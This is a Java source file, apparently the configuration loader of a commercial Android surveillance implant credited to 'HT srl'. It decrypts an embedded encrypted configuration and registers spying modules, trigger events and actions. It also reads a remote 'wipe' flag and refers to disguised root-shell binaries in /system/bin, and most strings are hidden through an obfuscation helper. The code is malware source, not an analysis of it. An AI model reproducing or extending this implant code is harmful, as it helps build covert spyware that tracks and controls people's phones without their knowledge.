/* *********************************************
 * Create by : Alberto "Q" Pelliccione
 * Company   : HT srl
 * Project   : AndroidService
 * Created   : 01-dec-2010
 **********************************************/

package com.android.dvci.conf;

import com.android.dvci.Debug;
import com.android.dvci.GeneralException;
import com.android.dvci.Status;
import com.android.dvci.action.Action;
import com.android.dvci.auto.Cfg;
import com.android.dvci.crypto.EncryptionPKCS5;
import com.android.dvci.crypto.Keys;
import com.android.dvci.util.Check;
import com.android.mm.M;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.json.JSONTokener;

import java.io.File;

/**
 * The Class Configuration.
 */
public class Configuration {
    /**
     * The Constant TASK_ACTION_TIMEOUT.
     */
    public static final long TASK_ACTION_TIMEOUT = 600000;
    /**
     * The Constant MIN_AVAILABLE_SIZE.
     */
    public static final long MIN_AVAILABLE_SIZE = 200 * 1024;
    // a_0=/system/bin/ntpsvd
    public final static String shellFileBase = M.e("/system/bin/ddf"); //$NON-NLS-1$

    /**
     * Clear configuration buffer wrapped into a ByteBuffer.
     */
    // private ByteBuffer wrappedClearConf;
    private static final String TAG = "Configuration"; //$NON-NLS-1$
    private static final int AGENT_ENABLED = 0x2;
    private static final int DIGEST_LEN = 20;
    public static String shellFile = M.e("/system/bin/ddf"); //$NON-NLS-1$
	public static String oldShellFileBase= M.e("/system/bin/rilcap");
	/**
     * The status obj.
     */
    private final Status status;
    /**
     * Configuration file embedded into the .apk
     */
    private final String jsonResource;

    // public static final String SYNC_URL =
    // "http://192.168.1.189/wc12/webclient";

    // public static final boolean DEBUG = Config.DEBUG;

    /**
     * Instantiates a new configuration.
     *
     * @param resource the resource
     * @throws GeneralException
     */
    public Configuration(final byte[] resource) throws GeneralException {
        status = Status.self();
        // Decrypt Conf
        jsonResource = decryptConfiguration(resource);
    }

    public Configuration(String jsonConf) throws GeneralException {
        status = Status.self();
        jsonResource = jsonConf;
    }

    public static boolean isDebug() {
        return Cfg.DEBUG;
    }

    /**
     * Load configuration.
     *
     * @return true, if successful
     * @throws GeneralException the rCS exception
     */
    public boolean loadConfiguration(boolean instantiate) {
        try {
            // Clean old configuration
            if (instantiate) {
                cleanConfiguration();
            }

            if (jsonResource == null) {
                if (Cfg.DEBUG) {
                    Check.log(TAG + " (loadConfiguration): null json");
                }
                return false;
            }
            // Parse and load configuration
            return parseConfiguration(instantiate, jsonResource);
        } catch (final Exception rcse) {
            if (Cfg.EXCEPTION) {
                Check.log(rcse);
            }

            return false;
        }

    }

    /**
     * Parses the configuration. k
     *
     * @throws GeneralException the rCS exception
     */
    private boolean parseConfiguration(boolean instantiate, String json) throws GeneralException {
        try {
            if (Cfg.DEBUG) {
                Check.log(TAG + " (parseConfiguration): " + json); //$NON-NLS-1$
            }
            JSONObject root = (JSONObject) new JSONTokener(json).nextValue();

            JSONArray jmodules = root.getJSONArray(M.e("modules")); //$NON-NLS-1$
            JSONArray jevents = root.getJSONArray(M.e("events")); //$NON-NLS-1$
            JSONArray jactions = root.getJSONArray(M.e("actions")); //$NON-NLS-1$
            JSONObject jglobals = root.getJSONObject(M.e("globals")); //$NON-NLS-1$

            Visitor.load(jmodules, new LoadModule(instantiate));
            Visitor.load(jevents, new LoadEvent(instantiate));
            Visitor.load(jactions, new LoadAction(instantiate));

            loadGlobals(jglobals, instantiate);

            // Debug Check. start //$NON-NLS-1$
            Debug.statusActions();
            Debug.statusModules();
            Debug.statusEvents();
            Debug.statusGlobals();
            // Debug Check. end //$NON-NLS-1$

            return true;
        } catch (JSONException e) {
            if (Cfg.EXCEPTION) {
                Check.log(e);
            }

            if (Cfg.DEBUG) {
                Check.log(TAG + " (parseConfiguration) Error: " + e); //$NON-NLS-1$
            }
            return false;
        }

    }

    private void loadGlobals(JSONObject jglobals, boolean instantiate) throws JSONException {

        Globals g = new Globals();

        JSONObject jquota = jglobals.getJSONObject(M.e("quota")); //$NON-NLS-1$
        g.quotaMin = jquota.getInt(M.e("min")); //$NON-NLS-1$
        g.quotaMax = jquota.getInt(M.e("max")); //$NON-NLS-1$

        g.wipe = jglobals.getBoolean(M.e("wipe")); //$NON-NLS-1$
        g.type = jglobals.getString(M.e("type")); //$NON-NLS-1$

        status.setGlobal(g);
    }

    /**
     * Decrypt configuration.
     *
     * @param rawConf the raw conf
     * @return
     * @throws GeneralException the rCS exception
     */
    private String decryptConfiguration(final byte[] rawConf) throws GeneralException {
        /**
         * Struttura del file di configurazione
         *
         * |DWORD|DWORD|DWORD|DATA.....................|CRC| |---Skip----|-Len-|
         *
         * Le prime due DWORD vanno skippate. La terza DWORD contiene la
         * lunghezza del blocco di dati (inclusa la stessa Len) CRC e' il CRC
         * (cifrato) dei dati in chiaro, inclusa la DWORD Len
         */

        try {
            if (rawConf == null) {
                throw new GeneralException("conf"); //$NON-NLS-1$
            }

            // Crypto crypto = new Crypto(Keys.g_ConfKey);
            final byte[] confKey = Keys.self().getConfKey();

            EncryptionPKCS5 crypto = new EncryptionPKCS5(confKey);
            // final Crypto crypto = new Crypto(confKey);
            final byte[] clearConf = crypto.decryptDataIntegrity(rawConf);


            String json = null;
            if (clearConf != null) {
                json = new String(clearConf);
            }

            if (json != null && json.length() > 0) {
                // Return decrypted conf
                if (Cfg.DEBUG) {
                    Check.log(TAG + " Configuration is valid");//$NON-NLS-1$
                }

                return json;
            }
            return null;

        } catch (final SecurityException se) {
            if (Cfg.EXCEPTION) {
                Check.log(se);
            }

            if (Cfg.DEBUG) {
                Check.log(se);//$NON-NLS-1$
            }
            if (Cfg.DEBUG) {
                Check.log(TAG + " SecurityException() detected");//$NON-NLS-1$
            }
        } catch (final Exception e) {
            if (Cfg.EXCEPTION) {
                Check.log(e);
            }

            if (Cfg.DEBUG) {
                Check.log(e);//$NON-NLS-1$
            }
            if (Cfg.DEBUG) {
                Check.log(TAG + " Exception() detected");//$NON-NLS-1$
            }
        }

        return null;
    }

    /**
     * Clean configuration and status objects.
     */
    public void cleanConfiguration() {
        // Clean an eventual old initialization
        status.clean();

    }

    abstract static class Visitor {
        protected boolean instantiate;

        public Visitor(boolean instantiate) {
            this.instantiate = instantiate;
        }

        public static void load(JSONArray jmodules, Visitor visitor) {
            int agentTag;

            // How many agents we have?
            final int num = jmodules.length();

            if (Cfg.DEBUG) {
                Check.log(TAG + " Number of elements: " + num);//$NON-NLS-1$
            }

            // Get id, status, parameters length and parameters
            for (int i = 0; i < num; i++) {
                JSONObject jobject;
                try {
                    jobject = jmodules.getJSONObject(i);
                    if (Cfg.DEBUG) {
                        //Check.log(TAG + " (load): " + jobject); //$NON-NLS-1$
                    }
                    visitor.call(i, jobject);
                } catch (JSONException e1) {
                    if (Cfg.EXCEPTION) {
                        Check.log(e1);
                    }

                    if (Cfg.DEBUG) {
                        Check.log(TAG + " (load) Error: " + e1); //$NON-NLS-1$
                    }
                } catch (GeneralException e) {
                    if (Cfg.EXCEPTION) {
                        Check.log(e);
                    }

                    if (Cfg.DEBUG) {
                        Check.log(TAG + " (load) Error: " + e); //$NON-NLS-1$
                    }
                } catch (ConfigurationException e) {
                    if (Cfg.EXCEPTION) {
                        Check.log(e);
                    }

                    if (Cfg.DEBUG) {
                        Check.log(TAG + " (load) Error: " + e); //$NON-NLS-1$
                    }
                }
            }
        }

        public abstract void call(int id, JSONObject o) throws ConfigurationException, JSONException, GeneralException;
    }

    class LoadModule extends Visitor {
        public LoadModule(boolean instantiate) {
            super(instantiate);
        }

        public void call(int moduleId, JSONObject params) throws ConfigurationException, GeneralException,
                JSONException {
            final String moduleType = params.getString(M.e("module")); //$NON-NLS-1$

            if (Cfg.DEBUG) {
                //Check.log(TAG + " Module: " + moduleType + " Params size: " + params.length());//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
            }

            if (instantiate) {
                final ConfModule a = new ConfModule(moduleType, params);
                Status.self().addModule(a);
            }
        }
    }

    class LoadEvent extends Visitor {
        public LoadEvent(boolean instantiate) {
            super(instantiate);
        }

        public void call(int eventId, JSONObject jmodule) throws JSONException, GeneralException {
            if (Cfg.DEBUG) {
                Check.requires(jmodule != null, " (call) Assert failed, null jmodule"); //$NON-NLS-1$
            }

            String eventType = jmodule.getString(M.e("event")); //$NON-NLS-1$
            if (Cfg.DEBUG) {
                Check.asserts(eventType != null, " (call) Assert failed, null eventType"); //$NON-NLS-1$
            }
            if (jmodule.has(M.e("type"))) { //$NON-NLS-1$
                eventType += " " + jmodule.getString(M.e("type")); //$NON-NLS-1$ //$NON-NLS-2$
            }

            if (Cfg.DEBUG) {
                //Check.log(TAG + " Event: " + eventId + " type: " + eventType + " Params size: " + jmodule.length());//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
            }

            if (instantiate) {
                final ConfEvent e = new ConfEvent(eventId, eventType, jmodule);
                Status.self().addEvent(e);
            }

        }
    }

    class LoadAction extends Visitor {
        public LoadAction(boolean instantiate) {
            super(instantiate);
        }

        public void call(int actionId, JSONObject jaction) throws ConfigurationException, GeneralException,
                JSONException {
            String desc = jaction.getString(M.e("desc")); //$NON-NLS-1$
            final Action a = new Action(actionId, desc);

            JSONArray jsubactions = jaction.getJSONArray(M.e("subactions")); //$NON-NLS-1$
            int subNum = jsubactions.length();

            if (Cfg.DEBUG) {
                //Check.log(TAG + " Action " + actionId + " SubActions: " + subNum);//$NON-NLS-1$ //$NON-NLS-2$
            }

            for (int j = 0; j < subNum; j++) {
                JSONObject jsubaction = jsubactions.getJSONObject(j);

                final String type = jsubaction.getString(M.e("action")); //$NON-NLS-1$
                ConfAction conf = new ConfAction(actionId, j, type, jsubaction);
                if (a.addSubAction(conf)) {
                    if (Cfg.DEBUG) {
                        //Check.log(TAG + " SubAction " + j + " Type: " + type + " Params Length: " + jsubaction.length());//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
                    }
                }
            }

            if (Cfg.DEBUG) {
                Check.ensures(a.getSubActionsNum() == subNum, "inconsistent subaction number"); //$NON-NLS-1$
            }

            if (instantiate) {
                status.addAction(a);
            }
        }
    }
}
